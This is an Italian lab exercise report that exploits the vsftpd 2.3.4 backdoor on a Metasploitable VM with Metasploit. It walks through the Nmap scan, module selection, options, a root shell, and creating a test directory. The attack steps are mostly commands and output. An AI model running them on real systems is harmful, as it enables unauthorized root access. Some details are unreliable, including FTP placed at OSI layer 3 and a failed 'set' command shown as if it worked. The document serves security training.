

Report exploit

Nell'esercizio di oggi dobbiamo sfruttare una vulnerabilità del protocollo FTP usando un exploit.

Prima di tutto specifichiamo che un exploit è un tipo di codice malevolo che sfrutta una vulnerabilità già presente in un sistema, non va ad inserirla lui stesso.

Lo scopo di un exploit è creare una connessione (shell) su un dispositivo target in modo da potervi accedere liberamente. Possiamo creare due tipi di shell: bind shell (la connessione ha direzione attaccante > target) o reverse shell (direzione target > attaccante). La reverse shell è molto più comune, in quanto evita il problema di un eventuale stateful firewall (che blocca i pacchetti in ingresso, ma non quelli in uscita).

Come detto, andremo a sfruttare una vulnerabilità presente nel protocollo FTP, vale a dire un protocollo responsabile del trasferimento di file in rete (file transfer protocol, livello 3 del modello ISO/OSI).

Per prima cosa dobbiamo identificare la versione del protocollo che usa la macchina target, in quanto ogni exploit è applicabile non solo ad uno specifico programma ma anche ad una specifica versione di quel programma. Usiamo quindi Nmap per ottenere la versione del protocollo FTP usata da Metasploitable.

```
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix,
Linux; CPE: cpe:/o:linux:linux_kernel
```

Una volta ottenuta, andiamo a vedere quali sono gli exploit disponibili per la versione in questione. Vediamo nell'immagine sotto che ne esiste uno solo, quindi lo selezioniamo con il comando "use".

```
msf6 > search vsftpd
msf6 > search Samba smb2 3.X - 4.X (workgroup: WORKGROUP)
msf6 > search netbios-smb Samba smb2 3.X - 4.X (workgroup: WORKGROUP)
Matching Modules
-----
#  Name
0  auxiliary/dos/ftp/vsftpd_232
2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor
v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Guardando tra le opzioni dell'exploit vediamo che è richiesto l'indirizzo IP della macchina target (senza di esso Metasploit non saprebbe quale macchina attaccare).

Configuriamo quindi l'exploit con l'indirizzo IP target.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

A questo punto dobbiamo scegliere il payload dell'exploit, ovvero le istruzioni che porteranno alla creazione della shell sul dispositivo attaccato. Come per l'exploit, anche in questo caso possiamo verificare quanti possibili payload esistono per una determinata versione di un programma (anche in questo caso è presente un solo payload).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact		normal	No	Unix Command, Interact with Established Connection

Selezioniamo quindi il payload con il comando “set” e siamo pronti a lanciare l'exploit. Vediamo che l'attacco ha avuto successo e abbiamo creato una shell sul dispositivo target.

```
[*] Unknown datastore option: payload/cmd/unix/interact.
Usage: set [options] [name] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

  -c, --clear      Clear the values, explicitly setting to nil (default)
  -g, --global     Operate on global datastore variables
  -h, --help       Help banner.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:38259 → 192.168.1.149:6200) at 2023-11-06 15:13:55 +0100
```

Ora che siamo dentro al sistema target possiamo muoverci dentro al sistema, aprire file e directory, scalare privilegi ecc...

Creiamo una cartella su Metasploitable usando la shell, quindi dalla nostra macchina attaccante Kali.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:38259 → 192.168.1.149:6200) at 2023-11-06 15:13:55 +0100

pwd
/
mkdir test_metasploit
```

Ci spostiamo quindi su Metasploitable e verifichiamo che la nuova directory sia presente.

```
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin    dev    initrd  lost+found  nohup.out  root  sys    usr
boot  etc    initrd.img  media      opt        sbin  test_metasploit  var
cdrom  home  lib     mnt        proc       srv   tmp      vmlinuz
```